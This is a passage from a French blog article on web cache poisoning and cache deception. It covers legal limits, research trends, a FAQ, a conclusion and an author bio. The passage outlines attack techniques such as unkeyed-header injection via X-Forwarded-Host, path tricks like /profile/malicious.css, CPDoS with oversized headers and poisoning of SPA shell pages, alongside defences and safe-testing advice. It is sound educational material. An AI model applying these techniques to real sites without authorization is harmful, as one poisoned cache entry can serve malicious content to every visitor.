Pour cette raison, les standards de l'industrie (PTES, OWASP Testing Guide) recommandent de ne jamais tester le cache poisoning directement en production sans cache buster, même avec une autorisation écrite du client. Le cache buster isole la requête de test dans une entrée de cache unique qui ne sera servie à personne d'autre. Si le client exige un test sans cache buster pour démontrer l'exploitabilité complète, le test doit être réalisé en coordination étroite avec l'équipe opérationnelle, avec un plan de purge immédiate du cache et pendant une fenêtre de maintenance à faible trafic.
En France, l'article 323-1 du Code pénal réprime l'accès frauduleux à un système de traitement automatisé de données. Un cache poisoning non autorisé, même réalisé « pour tester », constitue une infraction pénale. La distinction entre un test de sécurité autorisé et une attaque repose sur l'existence d'un mandat explicite couvrant ce type de test, signé par le responsable du système ciblé. Les programmes de bug bounty couvrent généralement le cache poisoning dans leur scope, mais il est impératif de vérifier les règles spécifiques du programme — certains excluent explicitement les tests qui affectent d'autres utilisateurs.
Tendances émergentes et recherche récente
La recherche sur la sécurité du cache web évolue rapidement. Plusieurs tendances et découvertes récentes méritent l'attention des professionnels de la sécurité.
Web cache deception 2.0 : l'approche systématique
Les travaux publiés en 2023-2024 par les chercheurs de PortSwigger ont systématisé l'approche du web cache deception en identifiant trois catégories de divergences exploitables : les différences de mapping de chemin (comment le serveur route une URL vers un handler), les différences de délimiteurs (quels caractères sont interprétés comme séparateurs), et les différences de normalisation (résolution des .., décodage URL, case sensitivity). Cette taxonomie permet un scan exhaustif et méthodique là où les approches précédentes étaient ad hoc.
Cache poisoning dans les architectures microservices
Les architectures microservices introduisent de multiples couches de cache (API Gateway, service mesh, cache applicatif, CDN). Chaque couche peut avoir une configuration de cache différente, multipliant les opportunités de divergence. Un header qui est ignoré par le cache de l'API Gateway mais traité par le cache du service mesh crée un vecteur de poisoning inter-couches particulièrement complexe à détecter et à corriger.
Empoisonnement des caches DNS over HTTPS (DoH)
Les résolveurs DNS over HTTPS utilisent souvent des caches HTTP standard (CDN) pour distribuer les réponses DNS. Un empoisonnement de ce cache permettrait de rediriger le trafic DNS de nombreux utilisateurs vers des serveurs contrôlés par l'attaquant — un impact comparable à un empoisonnement DNS classique mais via un vecteur totalement différent. Cette surface d'attaque est encore peu explorée mais potentiellement critique.
Edge computing et cache poisoning
Les plateformes d'edge computing (Cloudflare Workers, Fastly Compute, AWS Lambda@Edge) exécutent du code JavaScript ou WebAssembly au niveau du CDN, avant ou après le cache. Ce code peut modifier la requête, la réponse, ou la logique de cache. Des bugs dans le code edge peuvent créer de nouvelles opportunités de cache poisoning, notamment si le code edge modifie la réponse en se basant sur des inputs non clés. Auditer la sécurité du code edge est aussi important qu'auditer l'application d'origine.
FAQ — Questions fréquentes sur le cache poisoning et la cache deception
Quelle est la différence fondamentale entre web cache poisoning et web cache deception ?
Le web cache poisoning consiste à injecter du contenu malveillant (scripts, redirections) dans une réponse mise en cache, affectant tous les utilisateurs. L'attaquant contrôle le contenu de la réponse cachée. Le web cache deception, à l'inverse, force le cache à stocker une réponse légitime contenant des données sensibles d'un utilisateur spécifique (la victime). L'attaquant ne modifie pas le contenu mais exploite le mécanisme de cache pour accéder à des données qui ne lui sont pas destinées. Le poisoning est une attaque de type « un vers tous » (un payload affecte tous les visiteurs), tandis que la deception est « un vers un » (cible un utilisateur spécifique dont les données sont mises en cache).
Comment détecter si un site est vulnérable au cache poisoning ?
La détection passe par l'identification d'unkeyed inputs qui influencent la réponse. Utilisez l'extension Param Miner de Burp Suite pour tester automatiquement les headers HTTP. Envoyez des requêtes avec des headers comme X-Forwarded-Host: canary.example.com et un cache buster dans l'URL. Si la chaîne « canary.example.com » apparaît dans la réponse et que celle-ci est mise en cache (vérifiable via les headers X-Cache, Age, ou CF-Cache-Status), le site est vulnérable. Pour les attaques CPDoS, testez si les réponses d'erreur sont mises en cache en envoyant des requêtes avec des headers surdimensionnés.
Le HTTPS protège-t-il contre le cache poisoning ?
Non. Le HTTPS protège la confidentialité et l'intégrité des données en transit entre le client et le serveur (ou le CDN), mais il n'a aucun effet sur le cache poisoning. L'attaquant n'intercepte pas le trafic : il envoie directement ses propres requêtes HTTP au serveur ou au CDN. Le cache opère au niveau applicatif (couche 7), après que la connexion TLS a été terminée. Que le site utilise HTTP ou HTTPS ne change rien à la vulnérabilité. La seule exception serait un attaquant man-in-the-middle entre le CDN et le serveur d'origine si cette connexion n'est pas en HTTPS, mais c'est un scénario différent.
Combien de temps un empoisonnement de cache persiste-t-il ?
La durée d'un empoisonnement dépend du TTL (Time To Live) configuré pour l'entrée de cache concernée. Ce TTL est déterminé par les headers Cache-Control: max-age ou s-maxage de la réponse, ou par la configuration du cache/CDN si celui-ci ignore les headers du serveur. Les TTL typiques varient de quelques minutes (pages dynamiques) à plusieurs jours (ressources statiques). Un attaquant motivé peut renouveler l'empoisonnement en envoyant une nouvelle requête malveillante juste après l'expiration du TTL, créant un empoisonnement permanent. La seule remédiation immédiate est la purge manuelle du cache, mais cela ne résout pas la vulnérabilité sous-jacente.
Les WAF protègent-ils efficacement contre le cache poisoning ?
Les WAF (Web Application Firewalls) offrent une protection partielle. Ils peuvent détecter et bloquer certains payloads malveillants dans les headers (injection de balises <script>, caractères CRLF), mais ils ne protègent pas contre les empoisonnements qui utilisent des valeurs légitimes (un domaine attaquant légitime dans X-Forwarded-Host, par exemple). De plus, les WAF se placent généralement avant ou au niveau du CDN, mais le cache poisoning exploite souvent l'interaction entre le cache et le serveur d'origine — une zone que le WAF ne couvre pas toujours. Pour le CPDoS, un WAF peut bloquer les requêtes avec des headers surdimensionnés, ce qui est efficace. En résumé, le WAF est une couche de défense utile mais insuffisante seule.
Comment un développeur peut-il sécuriser son application contre la cache deception ?
Le développeur doit appliquer trois mesures clés. Premièrement, définir Cache-Control: no-store, private sur toutes les réponses contenant des données spécifiques à l'utilisateur (profil, paramètres, dashboard). Deuxièmement, configurer un routage strict : si une URL comme /profile/malicious.css ne correspond à aucune route définie, retourner un 404 au lieu de servir la page /profile. Troisièmement, rejeter ou ignorer les segments de chemin avec des extensions de fichiers statiques sur les routes dynamiques. Côté CDN, configurer des règles de cache explicites qui ne se basent pas uniquement sur les extensions de fichiers, et activer la vérification de cohérence Content-Type.
Le cache poisoning fonctionne-t-il sur les applications SPA (Single Page Application) ?
Oui, et c'est même particulièrement critique. Les SPA chargent une page HTML initiale (souvent appelée « shell ») puis tout le contenu dynamique via des appels API JavaScript. Cette page shell est généralement mise en cache de manière agressive par le CDN car elle est identique pour tous les utilisateurs. Si un attaquant empoisonne le cache de cette page shell avec un script malveillant, il contrôle effectivement toute l'application pour tous les utilisateurs pendant la durée du TTL. De plus, les SPA chargent souvent de nombreux fichiers JavaScript depuis le CDN, chacun étant un point d'empoisonnement potentiel. Un fichier main.js ou vendor.js empoisonné peut compromettre l'intégralité de l'application.
Comment tester le cache poisoning en environnement de production sans risque ?
Le test en production requiert des précautions strictes. Utilisez toujours un cache buster unique dans la query string (par exemple ?cbtest=random123) pour isoler vos requêtes de test du trafic légitime. Cela garantit que vos requêtes malveillantes ne seront servies qu'à vous-même. Vérifiez d'abord que le cache buster fonctionne (la query string fait partie de la cache key). N'utilisez jamais de payloads réellement malveillants : utilisez des marqueurs inoffensifs comme X-Forwarded-Host: canary-test.example.com où canary-test.example.com est un domaine qui ne résout vers rien. Documentez chaque test et coordonnez avec l'équipe opérationnelle. Pour les tests plus agressifs (CPDoS, fat GET), utilisez exclusivement les labs PortSwigger ou un environnement de staging.
Conclusion
Le web cache poisoning et le web cache deception illustrent un paradoxe fondamental de la sécurité informatique : les mécanismes conçus pour améliorer la performance et la fiabilité introduisent de nouvelles surfaces d'attaque. Les caches HTTP, déployés à grande échelle via les CDN et reverse proxies, sont devenus des composants critiques de l'infrastructure web, mais leur complexité et la diversité de leurs implémentations créent des divergences exploitables entre les différentes couches de l'architecture.
Les recherches récentes, notamment celles de James Kettle et de l'équipe PortSwigger, ont considérablement élargi notre compréhension de ces attaques. La systématisation des techniques — de l'identification des unkeyed inputs au path confusion en passant par le parameter cloaking et les divergences de normalisation — a transformé ce qui était autrefois des découvertes ad hoc en une méthodologie d'audit structurée. Les outils comme Param Miner et les labs d'entraînement rendent ces techniques accessibles à tout pentester désireux de les maîtriser.
La défense exige une approche multicouche : conception sécurisée des cache keys, sanitisation des headers au niveau du proxy, respect strict des directives Cache-Control, vérification de cohérence Content-Type, et monitoring continu de l'intégrité des réponses cachées. Les CDN modernes offrent des mécanismes de protection de plus en plus sophistiqués, mais leur efficacité dépend entièrement de la rigueur de leur configuration.
Dans un paysage où chaque application web repose sur au moins une couche de cache — souvent plusieurs — la compréhension profonde de ces mécanismes et de leurs vulnérabilités n'est plus optionnelle. C'est un prérequis pour tout professionnel de la cybersécurité, qu'il soit en charge de l'audit de sécurité web, de l'architecture réseau, ou de la configuration CDN. Les attaques de cache continueront d'évoluer avec les technologies web, et seule une vigilance constante permettra d'anticiper les prochaines techniques d'exploitation. L'adoption croissante des architectures edge computing, des service workers, et des protocoles comme HTTP/3 (QUIC) introduira de nouvelles surfaces d'attaque que les chercheurs en sécurité commencent à peine à explorer. Les équipes de sécurité doivent intégrer systématiquement les tests de cache poisoning et de cache deception dans leur méthodologie d'audit, au même titre que les tests d'injection SQL ou de cross-site scripting, car l'impact potentiel d'un empoisonnement de cache sur un site à fort trafic dépasse souvent celui des vulnérabilités applicatives classiques.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Articles connexes
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire